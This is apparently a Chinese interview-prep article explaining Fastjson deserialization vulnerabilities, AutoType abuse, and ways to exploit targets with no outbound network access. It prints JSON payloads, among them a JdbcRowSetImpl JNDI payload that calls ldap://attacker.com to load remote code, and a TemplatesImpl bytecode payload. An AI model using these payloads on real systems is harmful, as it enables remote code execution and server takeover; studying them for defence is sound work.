fastjson面试中,最常被问到的问题有哪些?
摘要:Fastjson 是阿里巴巴开源的 Java JSON 解析库,因为其功能强大(如自动类型识别、自定义类反序列化等),也成为漏洞频发的重灾区,尤其在反序列化方面 主要漏洞就是反序列化 反序列化 fastjson反序列化与weblogic、s
Fastjson 是阿里巴巴开源的 Java JSON 解析库,因为其功能强大(如自动类型识别、自定义类反序列化等),也成为漏洞频发的重灾区,尤其在反序列化方面
主要漏洞就是反序列化
反序列化
fastjson反序列化与weblogic、shiro反序列化类似,在客户端将json数据进行序列化传送至服务端后,服务端会将其反序列化读取其中数据,若客户端操控json数据,加入一些恶意类方法、代码,则可能会造成服务端代码执行。同时由于fastjson采用黑名单过滤的方式,也存在着被绕过的风险。
当前出现的fastjson反序列化漏洞由于无法做到回显,一般会使用ldap和rmi远程调用的方式来进行getshell。攻击机发送恶意payload来使漏洞服务端进行ldap或rmi远程调用,调用搭建好的ldap或rmi服务上所布置好的class类进而执行,从而实现shell反弹
面试最爱问不出网怎么办
TemplatesImpl不出网 RCEJDK 自带TemplatesImpl
BCEL ClassLoader
JDK ≤ 8u251
目标包含 BCEL 类
文件写入(Webshell)
有文件写入权限
需二次请求
Groovy/ScriptEngine
目标安装 Groovy/JS 引擎
需特定环境
内存马注入
Java Web 环境
需熟悉 Servlet API
1. 漏洞原理
Fastjson 在解析 JSON 数据时,如果字段中包含 @type,会尝试将其转换为指定的 Java 类。例如:
{
"@type": "com.example.User",
"name": "test",
"age": 20
}
Fastjson 会尝试实例化 com.example.User 并填充字段。
漏洞触发条件
目标使用 JSON.parseObject() 或 JSON.parse() 解析不可信数据。
AutoType 开启(默认开启,1.2.25 后需手动启用)。
存在可利用的恶意类(如 JdbcRowSetImpl、TemplatesImpl)。
2. 核心漏洞利用链
(1) JNDI 注入(依赖出网)
利用类:com.sun.rowset.JdbcRowSetImpl原理:该类的 setDataSourceName() 方法可触发 JNDI 查询,结合 LDAP/RMI 实现 RCE。Payload:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
利用步骤:
攻击者搭建恶意 LDAP/RMI 服务器(如使用 marshalsec)。
目标解析恶意 JSON 时,向攻击者服务器请求恶意类并执行。
(2) TemplatesImpl(不出网利用)
利用类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl原理:通过字节码加载直接执行任意 Java 代码(需目标环境有该类)。Payload:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意字节码Base64"],
"_name": "test",
"_tfactory": {}
}
特点:
不依赖外部网络(无 JNDI 请求)。
需构造合法的字节码(如通过 javac 编译恶意类)。
